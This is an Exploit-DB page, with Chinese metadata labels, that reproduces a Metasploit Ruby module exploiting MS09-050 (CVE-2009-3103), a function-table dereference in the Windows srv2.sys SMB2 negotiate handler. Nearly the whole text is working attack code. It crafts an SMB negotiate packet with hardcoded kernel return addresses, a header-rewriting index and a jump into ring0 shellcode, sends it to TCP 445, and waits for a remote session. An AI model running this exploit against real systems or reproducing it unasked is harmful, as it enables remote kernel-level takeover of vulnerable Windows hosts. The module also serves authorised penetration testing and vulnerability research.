Microsoft Windows – ‘srv2.sys’ SMB Negotiate ProcessID Function Table Dereference (MS09-050) (Metasploit)

  • 作者: Metasploit
    日期: 2010-07-03
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/16363/
  • ##
    # $Id: ms09_050_smb2_negotiate_func_index.rb 9669 2010-07-03 03:13:45Z jduck $
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = GoodRanking
    
    	include Msf::Exploit::Remote::SMB
    	include Msf::Exploit::KernelMode
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference',
    			'Description'=> %q{
    					This module exploits an out of bounds function table dereference in the SMB
    				request validation code of the SRV2.SYS driver included with Windows Vista, Windows 7
    				release candidates (not RTM), and Windows 2008 Server prior to R2. Windows Vista
    				without SP1 does not seem affected by this flaw.
    			},
    
    			'Author' => [ 'laurent.gaffie[at]gmail.com', 'hdm', 'sf' ],
    			'License'=> MSF_LICENSE,
    			'Version'=> '$Revision: 9669 $',
    			'References' =>
    				[
    					[ 'MSB', 'MS09-050' ],
    					[ 'CVE', '2009-3103' ],
    					[ 'BID', '36299' ],
    					[ 'OSVDB', '57799' ],
    					[ 'URL', 'http://seclists.org/fulldisclosure/2009/Sep/0039.html' ],
    					[ 'URL', 'http://www.microsoft.com/technet/security/Bulletin/MS09-050.mspx' ]
    				],
    			'DefaultOptions' =>
    				{
    					'EXITFUNC' => 'thread',
    				},
    			'Privileged' => true,
    			'Payload'=>
    				{
    					'Space' => 1024,
    					'StackAdjustment' => -3500,
    					'DisableNops' => true,
    					'EncoderType' => Msf::Encoder::Type::Raw,
    					'ExtendedOptions' =>
    						{
    							'Stager'=> 'stager_sysenter_hook',
    						}
    				},
    			'Platform' => 'win',
    			'Targets'=>
    				[
    					[ 'Windows Vista SP1/SP2 and Server 2008 (x86)',
    						{
    							'Platform' => 'win',
    							'Arch' => [ ARCH_X86 ],
    							'Ret'=> 0xFFD00D09, # "POP ESI; RET" from the kernels HAL memory region ...no ASLR :)
    							'ReadAddress'=> 0xFFDF0D04, # A readable address from kernel space (no nulls in address).
    							'ProcessIDHigh'=> 0x0217, # srv2!SrvSnapShotScavengerTimer
    							'MagicIndex' => 0x3FFFFFB4, # (DWORD)( MagicIndex*4 + 0x130 ) == 0
    						}
    					],
    				],
    			'DefaultTarget'=> 0,
    			'DisclosureDate' => 'Sep 07 2009'
    		))
    
    		register_options(
    			[
    				Opt::RPORT(445),
    				OptInt.new( 'WAIT', [ true,"The number of seconds to wait for the attack to complete.", 180 ] )
    			], self.class)
    	end
    
    	# Not reliable enough for automation yet
    	def autofilter
    		false
    	end
    
    	def exploit
    		print_status( "Connecting to the target (#{datastore['RHOST']}:#{datastore['RPORT']})..." )
    		connect
    
    		# we use ReadAddress to avoid problems in srv2!SrvProcCompleteRequest
    		# and srv2!SrvProcPartialCompleteCompoundedRequest
    		dialects = [ [ target['ReadAddress'] ].pack("V") * 25, "SMB 2.002" ]
    
    		data= dialects.collect { |dialect| "\x02" + dialect + "\x00" }.join('')
    		data += [ 0x00000000 ].pack("V") * 37 # Must be NULL's
    		data += [ 0xFFFFFFFF ].pack("V")# Used in srv2!SrvConsumeDataAndComplete2+0x34 (known stability issue with srv2!SrvConsumeDataAndComplete2+6b)
    		data += [ 0xFFFFFFFF ].pack("V")# Used in srv2!SrvConsumeDataAndComplete2+0x34
    		data += [ 0x42424242 ].pack("V") * 7# Unused
    		data += [ target['MagicIndex'] ].pack("V") # An index to force an increment the SMB header value :) (srv2!SrvConsumeDataAndComplete2+0x7E)
    		data += [ 0x41414141 ].pack("V") * 6# Unused
    		data += [ target.ret ].pack("V")# EIP Control thanks to srv2!SrvProcCompleteRequest+0xD2
    		data += payload.encoded # Our ring0 -> ring3 shellcode
    
    		# We gain code execution by returning into the SMB packet, begining with its header.
    		# The SMB packets Magic Header value is 0xFF534D42 which assembles to "CALL DWORD PTR [EBX+0x4D]; INC EDX"
    		# This will cause an access violation if executed as we can never set EBX to a valid pointer.
    		# To overcome this we force an increment of the header value (via MagicIndex), transforming it to 0x00544D42.
    		# This assembles to "ADD BYTE PTR [EBP+ECX*2+0x42], DL" which is fine as ECX will be zero and EBP is a vaild pointer.
    		# We patch the Signature1 value to be a jump forward into our shellcode.
    		packet = Rex::Proto::SMB::Constants::SMB_NEG_PKT.make_struct
    		packet['Payload']['SMB'].v['Command'] = Rex::Proto::SMB::Constants::SMB_COM_NEGOTIATE
    		packet['Payload']['SMB'].v['Flags1']= 0x18
    		packet['Payload']['SMB'].v['Flags2']= 0xC853
    		packet['Payload']['SMB'].v['ProcessIDHigh'] = target['ProcessIDHigh']
    		packet['Payload']['SMB'].v['Signature1']= 0x0158E900 # "JMP DWORD 0x15D" ; jump into our ring0 payload.
    		packet['Payload']['SMB'].v['Signature2']= 0x00000000 # ...
    		packet['Payload']['SMB'].v['MultiplexID'] = rand( 0x10000 )
    		packet['Payload'].v['Payload']= data
    
    		packet = packet.to_s
    
    		print_status( "Sending the exploit packet (#{packet.length} bytes)..." )
    		sock.put( packet )
    
    
    		wtime = datastore['WAIT'].to_i
    		print_status( "Waiting up to #{wtime} second#{wtime == 1 ? '' : 's'} for exploit to trigger..." )
    		stime = Time.now.to_i
    
    
    		poke_logins = %W{Guest Administrator}
    		poke_logins.each do |login|
    			begin
    				sec = connect(false)
    				sec.login(datastore['SMBName'], login, rand_text_alpha(rand(8)+1), rand_text_alpha(rand(8)+1))
    			rescue ::Exception => e
    				sec.socket.close
    			end
    		end
    
    		while( stime + wtime > Time.now.to_i )
    			select(nil, nil, nil, 0.25)
    			break if session_created?
    		end
    
    		handler
    		disconnect
    	end
    
    end